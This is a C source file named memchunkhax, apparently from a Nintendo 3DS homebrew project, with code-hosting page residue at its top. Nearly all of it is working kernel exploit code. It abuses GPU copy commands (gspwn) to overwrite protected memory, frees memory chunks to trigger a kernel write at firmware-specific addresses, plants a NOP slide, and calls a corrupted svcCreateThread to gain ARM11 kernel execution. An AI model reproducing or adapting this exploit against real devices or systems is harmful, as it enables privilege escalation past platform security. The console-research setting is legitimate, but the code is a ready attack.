113 lines
3.6 KiB
C
113 lines
3.6 KiB
C
|
#include "memchunkhax.h"
|
||
|
|
||
|
#include <stddef.h>
|
||
|
#include <stdint.h>
|
||
|
#include "firmcompat.h"
|
||
|
#include "appcompat.h"
|
||
|
|
||
|
void gspwn_copy(void *dest, void *src, uint32_t length, int check, int check_offset)
|
||
|
{
|
||
|
// We'll use some memory to check the copy is being done right.
|
||
|
void *check_mem = (void *)APP_CHECK_MEM;
|
||
|
int *check_loc = (int *)(check_mem + check_offset);
|
||
|
|
||
|
while(*check_loc != check) {
|
||
|
app->memcpy(check_mem, check_mem, 0x10000);
|
||
|
app->GSPGPU_FlushDataCache(src, length);
|
||
|
|
||
|
uint32_t arr1[] = {4, (uint32_t)src, (uint32_t)dest, length,
|
||
|
0xFFFFFFFF, 0xFFFFFFFF, 8, 0};
|
||
|
app->nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue((void *)app->gpuHandle, arr1);
|
||
|
|
||
|
app->GSPGPU_FlushDataCache(check_mem, 0x10);
|
||
|
|
||
|
uint32_t arr2[] = {4, (uint32_t)dest, (uint32_t)check_mem, 0x10,
|
||
|
0xFFFFFFFF, 0xFFFFFFFF, 8, 0};
|
||
|
app->nn__gxlow__CTR__CmdReqQueueTx__TryEnqueue((void *)app->gpuHandle, arr2);
|
||
|
|
||
|
app->memcpy(check_mem, check_mem, 0x10000);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
#if defined(ENTRY_MSET)
|
||
|
void build_nop_slide(uint32_t *dest, unsigned int len)
|
||
|
{
|
||
|
unsigned int i;
|
||
|
for (i = 0; i < len; i++) {
|
||
|
dest[i] = 0xE1A00000; // ARM instruction: nop
|
||
|
}
|
||
|
dest[i - 1] = 0xE12FFF1E; // ARM instruction: bx lr
|
||
|
}
|
||
|
#endif
|
||
|
|
||
|
__attribute__((naked))
|
||
|
void corrupted_svcCreateThread(__attribute__((unused)) void (*func)())
|
||
|
{
|
||
|
__asm__ volatile ("svc 8");
|
||
|
}
|
||
|
|
||
|
void memchunk_arm11hax(void (*func)())
|
||
|
{
|
||
|
// I need some memory locations to use
|
||
|
uint32_t *mem_hax_mem = (uint32_t *)APP_MEM_HAX_MEM;
|
||
|
uint32_t *mem_hax_mem_free = (uint32_t *)((uint32_t)mem_hax_mem + 0x1000);
|
||
|
|
||
|
// There's not much documentation on this code.
|
||
|
// I've never studied the logic of it, so I can't describe it in more detail.
|
||
|
|
||
|
// Free some random chunk of memory
|
||
|
uint32_t tmp_addr;
|
||
|
app->svcControlMemory(&tmp_addr, mem_hax_mem_free, NULL, 0x1000, 1 /* MEMOP_FREE */, 0);
|
||
|
|
||
|
// arm11_buffer is the location that is copied *from* when using gspwn_copy
|
||
|
uint32_t *arm11_buffer = (uint32_t *)APP_ARM11_BUFFER;
|
||
|
arm11_buffer[0] = 1;
|
||
|
arm11_buffer[1] = fw->kernel_patch_address;
|
||
|
arm11_buffer[2] = 0;
|
||
|
arm11_buffer[3] = 0;
|
||
|
|
||
|
// Copy the arm11_buffer to the freed memory with gspwn
|
||
|
gspwn_copy(mem_hax_mem_free, arm11_buffer, 0x10, fw->kernel_patch_address, 4);
|
||
|
|
||
|
// Trigger kernel write
|
||
|
app->svcControlMemory(&tmp_addr, mem_hax_mem, NULL, 0x1000, 1 /* MEMOP_FREE */, 0);
|
||
|
|
||
|
// Tricks to clear the instruction cache
|
||
|
#if defined(ENTRY_MSET)
|
||
|
int slide_len = 0x1000;
|
||
|
|
||
|
// Build a NOP slide
|
||
|
build_nop_slide(arm11_buffer, slide_len);
|
||
|
|
||
|
// Copy the NOP slide
|
||
|
uint32_t app_code_offset = 0;
|
||
|
uint32_t kernel_version = *(uint32_t *)0x1FF80000;
|
||
|
if(kernel_version < 0x02230600) { // firm 4.x
|
||
|
app_code_offset = 0x03E6D000;
|
||
|
}
|
||
|
else { // > firm 4.x
|
||
|
app_code_offset = 0x7B00000;
|
||
|
}
|
||
|
|
||
|
gspwn_copy((void *)(0x14000000 + app_code_offset + 0x4000), arm11_buffer,
|
||
|
slide_len * 4, 0xE1A00000, 0);
|
||
|
|
||
|
// Run the NOP slide
|
||
|
((void (*)())0x104000)();
|
||
|
#elif defined(ENTRY_SPIDER)
|
||
|
// Fills the bottom buffer with a random pattern
|
||
|
void *src = (void *)0x18000000;
|
||
|
for (int i = 0; i < 3; i++) { // Do it 3 times to be safe
|
||
|
app->GSPGPU_FlushDataCache(src, 0x00038400);
|
||
|
app->GX_SetTextureCopy(src, (void *)0x1F48F000, 0x00038400, 0, 0, 0, 0, 8);
|
||
|
app->svcSleepThread(0x400000LL);
|
||
|
app->GSPGPU_FlushDataCache(src, 0x00038400);
|
||
|
app->GX_SetTextureCopy(src, (void *)0x1F4C7800, 0x00038400, 0, 0, 0, 0, 8);
|
||
|
app->svcSleepThread(0x400000LL);
|
||
|
}
|
||
|
#endif
|
||
|
|
||
|
// Get into arm11
|
||
|
corrupted_svcCreateThread(func);
|
||
|
}
|